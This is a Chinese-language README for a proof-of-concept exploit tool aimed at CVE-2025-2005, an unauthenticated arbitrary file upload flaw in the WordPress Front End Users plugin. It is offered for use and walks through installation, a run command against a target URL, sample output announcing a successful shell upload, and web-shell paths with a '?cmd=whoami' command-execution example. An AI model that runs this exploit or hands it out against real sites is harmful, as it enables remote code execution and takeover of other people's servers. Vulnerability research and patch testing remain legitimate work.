WordPress FEUP 任意文件上传漏洞利用 (CVE-2025-2005)

本仓库提供了针对 WordPress Front End Users 插件（最高至 3.2.32 版本）的概念验证 (PoC) 利用程序。该插件因注册表单中缺乏 MIME/文件类型验证，存在任意文件上传漏洞，允许未经身份验证的攻击者上传恶意文件（例如 Web Shell），可能导致服务器端远程代码执行（RCE）。

功能特性

• CVE-2025-2005：WordPress Front End Users 插件文件上传漏洞
• 简单的命令行界面
• 自动发现注册表单
• 附带自定义用户名/密码的 Shell 上传功能

工作原理

• 向存在漏洞的 FEUP 注册表单发送注册请求。
• 通过文件输入字段上传 PHP Shell，绕过文件类型限制。
• 显示上传状态，并告知目标站点是否易受攻击。

测试目标

• 查找包含以下内容的注册表单：
• ewd-feup-register-form
• 在类似如下 URL 上：

/register/
/signup/

• 或首页上找到的任何链接

开始上手

• Python 3.x
• 需要 requests 和 beautifulsoup4 模块：

pip install requests beautifulsoup4

安装

https://github.com/mrmtwoj/CVE-2025-2005.git
cd CVE-2025-2005

用法

python3 exploit.py --url http://target.com --user hacker --password pass123

示例输出

[*] 正在扫描站点：http://victim.com
[*] 找到 17 个页面。
[+] 在 http://victim.com/register 找到注册表单
[*] 正在上传 Shell...
[+] Shell 上传成功！

运行利用

位置 ::
http://victim.com/wp-content/uploads/shell.php
http://victim.com/wp-content/uploads/ewd-feup-user-uploads/shell.php
运行 ::
http://victim.com/wp-content/uploads/shell.php?cmd=whoami